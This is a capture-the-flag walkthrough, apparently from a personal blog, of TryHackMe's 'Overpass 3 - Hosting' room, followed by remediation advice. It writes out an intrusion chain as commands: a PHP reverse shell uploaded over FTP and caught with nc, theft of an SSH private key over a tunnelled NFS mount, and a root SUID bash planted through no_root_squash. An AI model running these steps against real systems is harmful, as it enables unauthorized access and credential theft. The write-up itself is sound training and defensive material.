mintshell
VI

Overpass 3 - Hosting

A publicly reachable /backups directory leaks a GPG private key and an encrypted customer spreadsheet; decrypting it reveals reused credentials, an authenticated FTP write to the web root gives RCE, credential reuse reaches a local user, and an NFS no_root_squash export plants a SUID bash for root.

Platform
TryHackMe
Room
Overpass 3 - Hosting(external link)
Difficulty
Medium
Vulnerabilities
world-readable secret file, password reuse, unrestricted file upload, insecure nfs export
5 min read

A walkthrough of the “Overpass 3 - Hosting” room from TryHackMe — a CentOS box. A forgotten /backups directory under the web root hands out a GPG private key and an encrypted customer spreadsheet; decrypt it and the reused passwords unlock everything. An authenticated FTP write into the web root gives code execution, credential reuse reaches a local account, and an NFS no_root_squash export turns local root on our box into root on theirs.

Overpass 3 - Hosting is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The decrypted passwords, card numbers, and all three flags are shown as <redacted> / thm{<redacted>} — real on the box, withheld here.


TL;DR

TL;DR

gobuster finds /backups → download backup.zip, which holds a GPG private key and CustomerDetails.xlsx.gpg → gpg --import the key and decrypt the sheet → plaintext customer credentials (and card numbers) → the password is reused on FTP as paradox, whose home is the writable web root → upload shell.php → RCE as apache (web flag) → su paradox with the same password (credential reuse) → LinPEAS shows /home/james exported over NFS with no_root_squash → tunnel NFS over SSH, mount it, read james’s id_rsa (user flag) and SSH in → as local root on the mount, drop a root-owned SUID bash into james’s home → on the box ./bash -p → root.

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>
21/tcp open  ftp   vsftpd 3.0.3
22/tcp open  ssh   OpenSSH 8.0
80/tcp open  http  Apache httpd 2.4.37 ((centos))   # "Overpass Hosting"

The vulnerability

The box is a chain of trust mistakes, but two matter most: a sensitive backup left world-readable under the web root (initial access) and an NFS export with no_root_squash (root). Reused passwords glue the stages together.

Insight

no_root_squash is the opposite of root_squash: a client that connects as uid 0 stays uid 0 on the server’s files. Mount the share as your local root and you can create a root-owned SUID binary that the target will happily execute — instant privilege escalation, no memory-corruption exploit required.

Step 1 — loot the exposed backup → credentials

gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirb/big.txt    # /backups
wget http://$IP/backups/backup.zip && unzip backup.zip
#  priv.key   CustomerDetails.xlsx.gpg
gpg --import priv.key                 # "Paradox <paradox@overpass.thm>"
gpg --decrypt CustomerDetails.xlsx.gpg > CustomerDetails.xlsx
xlsx2csv CustomerDetails.xlsx
# Customer Name,Username,Password,Credit card number,CVC
# Par. A. Doxx,paradox,<redacted>,<redacted>,<redacted>
# 0day Montgomery,0day,<redacted>,...
# Muir Land,muirlandoracle,<redacted>,...

A single downloadable zip just leaked a private key, three sets of credentials, and customer card data.

Step 2 — FTP write to the web root → RCE

paradox’s decrypted password works over FTP, and the FTP home is the Apache web root — which is writable. Upload a PHP reverse shell and trigger it over HTTP:

ftp -A $IP                 # login: paradox / <redacted>
ftp> put shell.php
curl http://$IP/shell.php  # fires the reverse shell
nc -lvnp 4444
# uid=48(apache)
cat /usr/share/httpd/web.flag   # thm{<redacted>}

Step 3 — credential reuse → local user paradox

su paradox                 # same password again -> local shell as paradox
# (paradox has no sudo rights; enumerate for the next hop)

Step 4 — NFS no_root_squash → james (user flag)

LinPEAS flags the export:

cat /etc/exports
# /home/james *(rw,fsid=0,sync,no_root_squash,insecure)

NFS listens on the loopback interface, so tunnel port 2049 over SSH (drop your key into paradox’s authorized_keys first), then mount it locally:

ssh paradox@$IP -L 2049:127.0.0.1:2049
sudo mount -t nfs -o port=2049 localhost:/ /mnt/nfs
cat /mnt/nfs/user.flag                 # thm{<redacted>}
cp /mnt/nfs/.ssh/id_rsa . && chmod 600 id_rsa
ssh -i id_rsa james@$IP                # shell as james

Step 5 — no_root_squash SUID bash → root

Because the export is no_root_squash, files we create as local root on the mount stay root-owned on the box. Drop a static bash, make it a root SUID binary, and run it as james with -p to keep the effective UID:

# on the attacker, as local root, writing into the NFS mount:
sudo cp bash /mnt/nfs/bash
sudo chown root:root /mnt/nfs/bash
sudo chmod +sx /mnt/nfs/bash
# back on the box as james:
./bash -p
# whoami -> root
cat /root/root.flag                    # thm{<redacted>}

Impact

Critical

Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated download of a backup exposes a private key, customer PII, card numbers, and reusable passwords. Those reach FTP write access to the web root (RCE as apache) and a local account, and an NFS no_root_squash export escalates straight to root. The whole chain is remote, deterministic, and needs no exploit code — just downloads, a reused password, and a dangerous export option.

Fix

  • Never expose backups under the web root. The GPG key and customer spreadsheet should never be downloadable; rotate the leaked key and every exposed password and card number (treat them all as burned).
  • Stop reusing credentials across customer records, FTP, and local accounts; one leak shouldn’t open every door.
  • Don’t let FTP write to the web root, and disable execution of uploaded files.
  • Never use no_root_squash on a network-reachable export. Prefer root_squash (or all_squash), read-only where possible, and a host allow-list.

Takeaways

  • Exposed backups are a goldmine. One zip handed over a private key, the customer database, and the credentials to reuse.
  • Credential reuse chains services. The same password unlocked a customer record, FTP, and a local login.
  • no_root_squash is instant root. Local root on the mount becomes a root-owned SUID binary on the target.

Overpass 3 is a tidy reminder that the flashiest bug isn’t the problem — a downloadable backup and one NFS option are. Thanks for reading.